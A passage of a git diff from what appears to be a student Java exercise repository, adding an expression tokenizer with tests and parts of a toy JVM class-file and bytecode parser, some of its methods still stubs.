+			Assert.assertEquals(16, expr.evaluate(),0.001f);
+		}
+		
+		
+	}
+
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java
new file mode 100644
index 0000000000..8579743fe9
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/Token.java
@@ -0,0 +1,50 @@
+package com.coding.basic.stack.expr;
+
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+class Token {
+	public static final List<String> OPERATORS = Arrays.asList("+", "-", "*", "/");
+	private static final Map<String,Integer> priorities = new HashMap<>();
+	static {
+		priorities.put("+", 1);
+		priorities.put("-", 1);
+		priorities.put("*", 2);
+		priorities.put("/", 2);
+	}
+	static final int OPERATOR = 1;
+	static final int NUMBER = 2;
+	String value;
+	int type;
+	public Token(int type, String value){
+		this.type = type;
+		this.value = value;
+	}		
+
+	public boolean isNumber() {
+		return type == NUMBER;
+	}
+
+	public boolean isOperator() {
+		return type == OPERATOR;
+	}
+
+	public int getIntValue() {
+		return Integer.valueOf(value).intValue();
+	}
+	public String toString(){
+		return value;
+	}
+	
+	public boolean hasHigherPriority(Token t){
+		if(!this.isOperator() && !t.isOperator()){
+			throw new RuntimeException("numbers can't compare priority");
+		}
+		return priorities.get(this.value) - priorities.get(t.value) > 0;
+	}
+	
+	
+
+}
\ No newline at end of file
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
new file mode 100644
index 0000000000..7ef3d1959c
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParser.java
@@ -0,0 +1,57 @@
+package com.coding.basic.stack.expr;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class TokenParser {
+	
+	
+	public  static List<Token> parse(String expr) {
+		List<Token> tokens = new ArrayList<>();
+
+		int i = 0;
+
+		while (i < expr.length()) {
+
+			char c = expr.charAt(i);
+
+			if (isOperator(c)) {
+
+				Token t = new Token(Token.OPERATOR, String.valueOf(c));
+				tokens.add(t);
+				i++;
+
+			} else if (Character.isDigit(c)) {
+
+				int nextOperatorIndex = indexOfNextOperator(i, expr);
+				String value = expr.substring(i, nextOperatorIndex);
+				Token t = new Token(Token.NUMBER, value);
+				tokens.add(t);
+				i = nextOperatorIndex;
+
+			} else{
+				System.out.println("char :["+c+"] is not number or operator,ignore");
+				i++;
+			}
+
+		}
+		return tokens;
+	}
+
+	private static int indexOfNextOperator(int i, String expr) {
+
+		while (Character.isDigit(expr.charAt(i))) {
+			i++;
+			if (i == expr.length()) {
+				break;
+			}
+		}
+		return i;
+
+	}
+
+	private static boolean isOperator(char c) {
+		String sc = String.valueOf(c);
+		return Token.OPERATORS.contains(sc);
+	}
+}
diff --git a/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
new file mode 100644
index 0000000000..399d3e857e
--- /dev/null
+++ b/group27/513274874/data-structure/src/com/coding/basic/stack/expr/TokenParserTest.java
@@ -0,0 +1,41 @@
+package com.coding.basic.stack.expr;
+
+import static org.junit.Assert.*;
+
+import java.util.List;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class TokenParserTest {
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		
+		TokenParser parser = new TokenParser();
+		List<Token> tokens  = parser.parse("300*20+12*5-20/4");
+		
+		Assert.assertEquals(300, tokens.get(0).getIntValue());
+		Assert.assertEquals("*", tokens.get(1).toString());
+		Assert.assertEquals(20, tokens.get(2).getIntValue());
+		Assert.assertEquals("+", tokens.get(3).toString());
+		Assert.assertEquals(12, tokens.get(4).getIntValue());
+		Assert.assertEquals("*", tokens.get(5).toString());
+		Assert.assertEquals(5, tokens.get(6).getIntValue());
+		Assert.assertEquals("-", tokens.get(7).toString());
+		Assert.assertEquals(20, tokens.get(8).getIntValue());
+		Assert.assertEquals("/", tokens.get(9).toString());
+		Assert.assertEquals(4, tokens.get(10).getIntValue());
+	}
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
new file mode 100644
index 0000000000..89fb53394e
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/AttributeInfo.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.attr;
+
+public abstract class AttributeInfo {
+	public static final String CODE = "Code";
+	public static final String CONST_VALUE = "ConstantValue";
+	public static final String EXCEPTIONS = "Exceptions";
+	public static final String LINE_NUM_TABLE = "LineNumberTable";
+	public static final String LOCAL_VAR_TABLE = "LocalVariableTable";
+	public static final String STACK_MAP_TABLE = "StackMapTable";
+	int attrNameIndex;				
+	int attrLen ;
+	public AttributeInfo(int attrNameIndex, int attrLen) {
+		
+		this.attrNameIndex = attrNameIndex;
+		this.attrLen = attrLen;
+	}
+	
+	
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
new file mode 100644
index 0000000000..da789aa68f
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/CodeAttr.java
@@ -0,0 +1,108 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class CodeAttr extends AttributeInfo {
+    private int maxStack;
+    private int maxLocals;
+    private int codeLen;
+    private String code;
+
+    public String getCode() {
+        return code;
+    }
+
+    private ByteCodeCommand[] cmds ;
+    public ByteCodeCommand[] getCmds() {
+    	return cmds;
+    }
+    private LineNumberTable lineNumTable;
+    private LocalVariableTable localVarTable;
+    private StackMapTable stackMapTable;
+
+    public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen, String code /*ByteCodeCommand[] cmds*/) {
+        super(attrNameIndex, attrLen);
+        this.maxStack = maxStack;
+        this.maxLocals = maxLocals;
+        this.codeLen = codeLen;
+        this.code = code;
+        //this.cmds = cmds;
+    }
+
+    public void setLineNumberTable(LineNumberTable t) {
+        this.lineNumTable = t;
+    }
+
+    public void setLocalVariableTable(LocalVariableTable t) {
+        this.localVarTable = t;
+    }
+
+    public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter) {
+
+        int attributeNameIndex = iter.nextU2Int();
+        int attributeLength = iter.nextU4Int();
+        int maxStack = iter.nextU2Int();
+        int maxLocals = iter.nextU2Int();
+
+        int codeLength = iter.nextU4Int();
+        String code = iter.nextUxToHexString(codeLength);
+
+        CodeAttr codeAttr = new CodeAttr(attributeNameIndex, attributeLength, maxStack, maxLocals, codeLength, code);
+
+        //exception
+        int exceptionTableLength = iter.nextU2Int();
+        if (exceptionTableLength > 0) {
+            String exceptionTable = iter.nextUxToHexString(exceptionTableLength);
+            throw new RuntimeException("there's exception to be implemented !!");
+        }
+
+        //attribute table of the code
+        int attributesCount = iter.nextU2Int();
+        for (int i = 0; i < attributesCount; i++) {
+            int subAttributeNameIndex = iter.nextU2Int();
+            iter.back(2);
+
+            String subAttributeName = clzFile.getConstantPool().getUTF8String(subAttributeNameIndex);
+
+            if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LINE_NUM_TABLE)) {
+
+                LineNumberTable lineNumberTable = LineNumberTable.parse(iter);
+                codeAttr.setLineNumberTable(lineNumberTable);
+
+            } else if (null != subAttributeName && subAttributeName.equalsIgnoreCase(AttributeInfo.LOCAL_VAR_TABLE)) {
+
+                LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
+                codeAttr.setLocalVariableTable(localVariableTable);
+
+            } else {
+                throw new RuntimeException("there's other sub attribute to added : name = " + subAttributeName);
+            }
+
+        }
+
+        return codeAttr;
+    }
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		//buffer.append("Code:").append(code).append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
+		buffer.append(this.lineNumTable.toString());
+		buffer.append(this.localVarTable.toString(pool));
+		return buffer.toString();
+	}
+
+    private void setStackMapTable(StackMapTable t) {
+        this.stackMapTable = t;
+
+    }
+
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
new file mode 100644
index 0000000000..373e487c08
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LineNumberTable.java
@@ -0,0 +1,67 @@
+package com.coderising.jvm.attr;
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LineNumberTable extends AttributeInfo {
+	List<LineNumberItem> items = new ArrayList<LineNumberItem>();
+	
+	private static class LineNumberItem{
+		int startPC;
+		int lineNum;
+		public int getStartPC() {
+			return startPC;
+		}
+		public void setStartPC(int startPC) {
+			this.startPC = startPC;
+		}
+		public int getLineNum() {
+			return lineNum;
+		}
+		public void setLineNum(int lineNum) {
+			this.lineNum = lineNum;
+		}
+	}
+	public void addLineNumberItem(LineNumberItem item){
+		this.items.add(item);
+	}
+	public LineNumberTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);
+		
+	}
+	
+	public static LineNumberTable parse(ByteCodeIterator iter){
+		int attributeNameIndex = iter.nextU2Int();
+		int attributeLength = iter.nextU4Int();
+		LineNumberTable lineNumberTable = new LineNumberTable(attributeNameIndex,attributeLength);
+
+		//lineNumberItem block
+		int lineNumberTableLength = iter.nextU2Int();
+		for(int i = 0 ;i<lineNumberTableLength ;i++)
+		{
+			LineNumberItem lineNumberItem = new LineNumberItem();
+			lineNumberItem.setStartPC(iter.nextU2Int());
+			lineNumberItem.setLineNum(iter.nextU2Int());
+			lineNumberTable.addLineNumberItem(lineNumberItem);
+		}
+
+		return lineNumberTable;
+	}
+	
+	public String toString(){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Line Number Table:\n");
+		for(LineNumberItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("lineNum:"+item.getLineNum()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+		
+	}
+	
+	
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
new file mode 100644
index 0000000000..3eb2654e36
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableItem.java
@@ -0,0 +1,39 @@
+package com.coderising.jvm.attr;
+
+public class LocalVariableItem {
+	private int startPC;
+	private int length;
+	private int nameIndex;
+	private int descIndex;
+	private int index;
+	public int getStartPC() {
+		return startPC;
+	}
+	public void setStartPC(int startPC) {
+		this.startPC = startPC;
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public void setNameIndex(int nameIndex) {
+		this.nameIndex = nameIndex;
+	}
+	public int getDescIndex() {
+		return descIndex;
+	}
+	public void setDescIndex(int descIndex) {
+		this.descIndex = descIndex;
+	}
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
new file mode 100644
index 0000000000..aa72c294f3
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/LocalVariableTable.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class LocalVariableTable extends AttributeInfo{
+
+	List<LocalVariableItem> items = new ArrayList<LocalVariableItem>();
+	
+	public LocalVariableTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+	
+	public static LocalVariableTable parse(ByteCodeIterator iter){
+
+		int attributeNameIndex = iter.nextU2Int();
+		int attributeLength = iter.nextU4Int();
+
+		LocalVariableTable localVariableTable = new LocalVariableTable(attributeNameIndex,attributeLength);
+
+		int localVariableTableLength = iter.nextU2Int();
+		for(int i = 0 ;i < localVariableTableLength;i++){
+			LocalVariableItem localVariableItem = new LocalVariableItem();
+			localVariableItem.setStartPC(iter.nextU2Int());
+			localVariableItem.setLength(iter.nextU2Int());
+			localVariableItem.setNameIndex(iter.nextU2Int());
+			localVariableItem.setDescIndex(iter.nextU2Int());
+			localVariableItem.setIndex(iter.nextU2Int());
+			localVariableTable.addLocalVariableItem(localVariableItem);
+		}
+
+		
+		return localVariableTable;
+	}
+	private void addLocalVariableItem(LocalVariableItem item) {
+		this.items.add(item);		
+	}
+	
+	public String toString(ConstantPool pool){
+		StringBuilder buffer = new StringBuilder();
+		buffer.append("Local Variable Table:\n");
+		for(LocalVariableItem item : items){
+			buffer.append("startPC:"+item.getStartPC()).append(",");
+			buffer.append("name:"+pool.getUTF8String(item.getNameIndex())).append(",");
+			buffer.append("desc:"+pool.getUTF8String(item.getDescIndex())).append(",");
+			buffer.append("slotIndex:"+ item.getIndex()).append("\n");
+		}
+		buffer.append("\n");
+		return buffer.toString();
+	}
+	
+	
+	
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
new file mode 100644
index 0000000000..3a8b6b8013
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/attr/StackMapTable.java
@@ -0,0 +1,30 @@
+package com.coderising.jvm.attr;
+
+
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+public class StackMapTable extends AttributeInfo{
+	
+	private String originalCode;
+
+	public StackMapTable(int attrNameIndex, int attrLen) {
+		super(attrNameIndex, attrLen);		
+	}
+
+	public static StackMapTable parse(ByteCodeIterator iter){
+		int index = iter.nextU2Int();
+		int len = iter.nextU4Int();
+		StackMapTable t = new StackMapTable(index,len);
+		
+		//后面的StackMapTable太过复杂， 不再处理， 只把原始的代码读进来保存
+		String code = iter.nextUxToHexString(len);
+		t.setOriginalCode(code);
+		
+		return t;
+	}
+
+	private void setOriginalCode(String code) {
+		this.originalCode = code;
+		
+	}
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
index 650ca8375d..32a2a0a64d 100755
--- a/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/clz/ClassFile.java
@@ -2,6 +2,11 @@
 
 import com.coderising.jvm.constant.ClassInfo;
 import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+import java.util.ArrayList;
+import java.util.List;
 
 public class ClassFile {
 	
@@ -11,7 +16,8 @@ public class ClassFile {
 	private AccessFlag accessFlag;
 	private ClassIndex clzIndex;
 	private ConstantPool pool;
-	
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
 	
 	public ClassIndex getClzIndex() {
 		return clzIndex;
@@ -48,7 +54,18 @@ public void setClassIndex(ClassIndex clzIndex) {
 		this.clzIndex = clzIndex;		
 	}
 	
-	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
 	
 	
 	public void print(){
@@ -63,13 +80,23 @@ public void print(){
 		
 	}
 	
-	private String getClassName(){
+	public String getClassName(){
 		int thisClassIndex = this.clzIndex.getThisClassIndex();
 		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
 		return thisClass.getClassName();
 	}
-	private String getSuperClassName(){
+	public String getSuperClassName(){
 		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
 		return superClass.getClassName();
 	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return null;
+	}
 }
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
new file mode 100644
index 0000000000..cd0fbd4848
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/BiPushCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class BiPushCmd extends OneOperandCmd {
+
+	public BiPushCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+	
+		return this.getOffset()+": "+ this.getOpCode()+" " + this.getReadableCodeText() + " " + this.getOperand();
+	}
+	
+	
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
new file mode 100644
index 0000000000..a3abeacc82
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/ByteCodeCommand.java
@@ -0,0 +1,128 @@
+package com.coderising.jvm.cmd;
+
+import java.util.HashMap;
+import java.util.Map;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public abstract class ByteCodeCommand {	
+	
+	String opCode;
+	ClassFile clzFile;	
+	private int offset;
+	
+	private static Map<String,String> codeMap = new HashMap<String,String>();
+	
+	static{
+		codeMap.put("01", "aconst_null");
+		
+		codeMap.put("BB", "new");
+		codeMap.put("37", "lstore");
+		codeMap.put("B7", "invokespecial");
+		codeMap.put("B6", "invokevirtual");
+		codeMap.put("B4", "getfield");
+		codeMap.put("B5", "putfield");
+		codeMap.put("B2", "getstatic");
+		
+		codeMap.put("2A", "aload_0");
+		codeMap.put("2B", "aload_1");
+		codeMap.put("2C", "aload_2");
+		
+		codeMap.put("10", "bipush");
+		codeMap.put("15", "iload");
+		codeMap.put("1A", "iload_0");
+		codeMap.put("1B", "iload_1");
+		codeMap.put("1C", "iload_2");
+		codeMap.put("1D", "iload_3");
+		
+		codeMap.put("25", "fload_3");
+		
+		codeMap.put("1E", "lload_0");
+		
+		codeMap.put("24", "fload_2");
+		codeMap.put("4C", "astore_1");
+		
+		codeMap.put("A2", "if_icmp_ge");
+		codeMap.put("A4", "if_icmple");
+		
+		codeMap.put("A7", "goto");
+		
+		codeMap.put("B1", "return");
+		codeMap.put("AC", "ireturn");
+		codeMap.put("AE", "freturn");
+		
+		codeMap.put("03", "iconst_0");
+		codeMap.put("04", "iconst_1");
+		
+		codeMap.put("3C", "istore_1");
+		codeMap.put("3D", "istore_2");
+		
+		codeMap.put("59", "dup");
+		
+		codeMap.put("60", "iadd");
+		codeMap.put("84", "iinc");
+		
+		codeMap.put("12", "ldc");
+	}
+	
+	
+
+	
+
+	protected ByteCodeCommand(ClassFile clzFile, String opCode){
+		this.clzFile = clzFile;
+		this.opCode = opCode;
+	}
+	
+	protected ClassFile getClassFile() {
+		return clzFile;
+	}
+	
+	public int getOffset() {
+		return offset;
+	}
+
+	public void setOffset(int offset) {
+		this.offset = offset;
+	}
+	protected ConstantInfo getConstantInfo(int index){
+		return this.getClassFile().getConstantPool().getConstantInfo(index);
+	}
+	
+	protected ConstantPool getConstantPool(){
+		return this.getClassFile().getConstantPool();
+	}
+	
+	
+	
+	public String getOpCode() {
+		return opCode;
+	}
+
+	public abstract int getLength();
+	
+	
+	
+	
+	public String toString(){
+		
+		StringBuffer buffer = new StringBuffer();
+		buffer.append(this.opCode);
+		
+		return buffer.toString();
+	}
+	public abstract String toString(ConstantPool pool);
+	
+	public String getReadableCodeText(){
+		String txt = codeMap.get(opCode);
+		if(txt == null){
+			return opCode;
+		}
+		return txt;
+	}
+	
+	//public abstract void execute(StackFrame frame,FrameResult result);
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..2bb36340f5
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/CommandParser.java
@@ -0,0 +1,85 @@
+package com.coderising.jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+
+		
+		return null;
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
new file mode 100644
index 0000000000..2e6061edd2
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetFieldCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class GetFieldCmd extends TwoOperandCmd {
+
+	public GetFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+	
+	
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
new file mode 100644
index 0000000000..e6cf9d5960
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/GetStaticFieldCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+
+public class GetStaticFieldCmd extends TwoOperandCmd {
+
+	public GetStaticFieldCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsField(pool);
+	}
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
new file mode 100644
index 0000000000..ac228d0e4d
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeSpecialCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.MethodRefInfo;
+
+
+public class InvokeSpecialCmd extends TwoOperandCmd {
+
+	public InvokeSpecialCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+		
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
new file mode 100644
index 0000000000..c15d827797
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/InvokeVirtualCmd.java
@@ -0,0 +1,22 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+
+public class InvokeVirtualCmd extends TwoOperandCmd {
+
+	public InvokeVirtualCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsMethod(pool);
+	}
+
+	
+	
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
new file mode 100644
index 0000000000..ffb66f811c
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/LdcCmd.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.StringInfo;
+
+public class LdcCmd extends OneOperandCmd {
+
+	public LdcCmd(ClassFile clzFile,String opCode) {
+		super(clzFile,opCode);		
+	}
+	
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		ConstantInfo info = (ConstantInfo)pool.getConstantInfo(this.getOperand());
+		
+		String value = "TBD";
+		if(info instanceof StringInfo){
+			StringInfo strInfo = (StringInfo)info;
+			value = strInfo.toString();
+		}
+		
+		return this.getOffset()+":"+this.getOpCode()+" " + this.getReadableCodeText() + " "+  value;
+		
+	}
+	
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
new file mode 100644
index 0000000000..33813b5d59
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NewObjectCmd.java
@@ -0,0 +1,19 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NewObjectCmd extends TwoOperandCmd{
+	
+	public NewObjectCmd(ClassFile clzFile, String opCode){
+		super(clzFile,opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		
+		return super.getOperandAsClassInfo(pool);
+	}
+
+	
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
new file mode 100644
index 0000000000..56c28fefe2
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/NoOperandCmd.java
@@ -0,0 +1,23 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ConstantPool;
+
+public class NoOperandCmd extends ByteCodeCommand{
+
+	public NoOperandCmd(ClassFile clzFile, String opCode) {
+		super(clzFile, opCode);
+	}
+
+	@Override
+	public String toString(ConstantPool pool) {
+		return this.getOffset()+":" +this.getOpCode() + " "+ this.getReadableCodeText();
+	}
+
+	
+	
+	public  int getLength(){
+		return 1;
+	}
+
+}
diff --git a/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
new file mode 100644
index 0000000000..963d064257
--- /dev/null
+++ b/group27/513274874/mini-jvm/src/com/coderising/jvm/cmd/OneOperandCmd.java
@@ -0,0 +1,27 @@
+package com.coderising.jvm.cmd;
+
+import com.coderising.jvm.clz.ClassFile;
+
